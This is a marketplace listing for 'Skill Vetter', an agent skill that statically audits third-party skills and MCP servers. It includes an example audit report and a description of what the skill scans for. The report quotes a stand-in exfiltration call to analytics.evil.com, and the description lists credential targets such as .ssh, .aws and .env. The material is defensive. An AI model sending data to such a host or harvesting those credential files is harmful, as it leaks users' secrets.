Works with the AI Agents you already use

    Claude CodeClaude CodeCursorCursorCodex CLICodex CLIMuseMuseDotsDots+21 more

    Skill Vetter: Is This Skill Safe?

    1

    Installing a third-party agent skill or MCP server shouldn't feel like a security gamble.

    Free

    7 uses5.0 (1 review)
    Skill Vetter: Is This Skill Safe?

    Skill Vetter: Is This Skill Safe?

    Example session with this skill installed

    Review this skill for safety: https://github.com/example-user/fetch-emails-mcp. It claims to just list Gmail headers but I'm worried about it sending data elsewhere.

    • Read your context and instructions
    • Compiled the vetter

    I have completed the security audit of the fetch-emails-mcp repository. I cloned the repo to an isolated environment and performed a static analysis of the source code, prompts, and dependencies.

    Verdict: CAUTION

    The skill functions as described, but it includes an undisclosed telemetry hook and uses unpinned dependencies that pose a supply-chain risk.

    #SeverityFile:lineFindingEvidenceFix
    1Highindex.ts:88Undisclosed Network Callaxios.post('https://analytics.evil.com/log', data)Remove the tracking telemetry block.
    2Mediumpackage.json:12Unpinned Dependency"gmail-api-wrapper": "latest"Pin to a specific, audited version hash.
    3LowSKILL.md:42Over-broad ScopeRead all files in project rootRestrict access to specific email cache folders.

    Permissions it really needs:

    • Network access to googleapis.com for Gmail API.
    • Read/Write access to a local .cache directory for tokens.

    What it does that the description doesn't mention:

    • Logs metadata about your email volume to a third-party analytics endpoint (analytics.evil.com).
    • Requests broad filesystem read access that is unnecessary for its stated purpose.

    Safe-install notes:

    • Pin all dependencies in package.json before running npm install.
    • Comment out the telemetry POST request in index.ts.
    • Run the MCP server using a container with restricted network egress (allow-list only).

    Next steps

    • Strip the telemetry code from index.ts before deployment.
    • Update package.json to use exact versioning for the Gmail wrapper.
    • Configure your agent to only grant read access to the specific mail data directory.
    package.json

    Connects securely to your tools. The creator never sees your data.

    About this skill

    Installing a third-party agent skill or MCP server shouldn't feel like a security gamble. Many packages contain hidden prompt injections, undisclosed network calls, or dependencies that attempt to exfiltrate your environment variables and SSH keys. ## What it does - **Static file scanning** lists every file to flag binaries, minified code, or suspicious base64 blobs before execution. - **Instruction auditing** scans SKILL.md and README files for prompt injections, hidden Unicode characters, and scope creep. - **Code path analysis** identifies dangerous functions like `eval`, `child_process`, and raw socket connections that could lead to RCE. - **Credential hunting** searches for hardcoded patterns targeting `.aws`, `.ssh`, `.env`, and local keychains. - **Dependency vetting** checks for typosquatting, unpinned versions, and malicious postinstall scripts in manifest files. - **Permission mapping** compares the tool's requested access against its stated purpose to enforce least privilege. ## How it works 1. **Inventory**: Point the skill at a local folder, repo URL, or ZIP file to generate a full file manifest. 2. **Detection**: Run automated greps for network calls, shell commands, and obfuscated text patterns. 3. **Manual Review**: The agent reads identified blocks to classify the intent of every network call and data request. 4. **Scoring**: It applies a severity rubric (Critical, High, Medium, Low) to each finding. 5. **Reporting**: You receive a final Verdict (SAFE, CAUTION, or DO NOT INSTALL) with a table of evidence and required fixes. ## Frameworks & tools Works with any language or framework including Node.js (package.json), Python (requirements.txt, pyproject.toml), and MCP server configurations. It uses standard unix-style search patterns and static analysis. ## Why this beats prompting it yourself Generic prompts often miss "invisible" security threats like zero-width characters or white-on-white text used for prompt injection. This skill follows a rigorous, multi-step static analysis protocol that treats every external package as hostile until proven otherwise. ## Use cases - Auditing a new MCP server from GitHub before adding it to your local config. - Reviewing a pasted SKILL.md for hidden instructions that might hijack your agent. - Checking a third-party plugin for undisclosed data exfiltration to external APIs. - Evaluating a PR for a team-shared skill to ensure no new risky dependencies were added. ## Known limitations Does not perform dynamic analysis or sandboxed execution. Large files over 200 KB and minified assets require manual investigation. Verdicts are based on visible code and cannot guarantee safety against unknown zero-day exploits.

    No dynamic analysis or execution. Files > 200 KB and minified code flagged for manual review. Verdicts are based on static patterns only.

    How to use

    1. 1

      Connect your agent to the Agensi MCP

      Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup

    2. 2

      Sign in to Agensi

      Your agent shows a sign-in link. Sign in and click Allow.

    3. 3

      Ask for what you need

      Your agent loads this skill and uses it on your task. It always asks before any payment.

    Reviews

    5.0
    1 review
    5
    1
    4
    0
    3
    0
    2
    0
    1
    0

    This skill has been used 7 times.

    Trust & safety

    Security scan

    Security scan passed 7 days ago

    • Free with an Agensi account

    Permissions

    Terminal / Shell
    Network Access
    Read Files
    Listed7 days ago
    Updated5 days ago

    What's inside

    Frequently Asked Questions

    The skill performs a deep multi-step scan of source code, manifests, and documentation to detect hidden prompt injections, malicious network calls, and credential-stealing patterns before you install them.

    Yes, it is designed to analyze both Node.js (package.json) and Python (requirements.txt/toml) environments, as well as universal MCP server configurations regardless of the underlying language.

    Skill Vetter focuses on static analysis and instruction auditing; it does not execute the code in a sandbox or perform runtime monitoring of the agent's behavior.

    You can audit skills by providing a local directory path, a public GitHub repository URL, or by uploading a ZIP file containing the skill's assets.

    The skill analyzes the tool's requested permissions against its stated functionality, helping you identify 'scope creep' where a simple tool might be asking for unnecessary access to your files or network.

    New in Security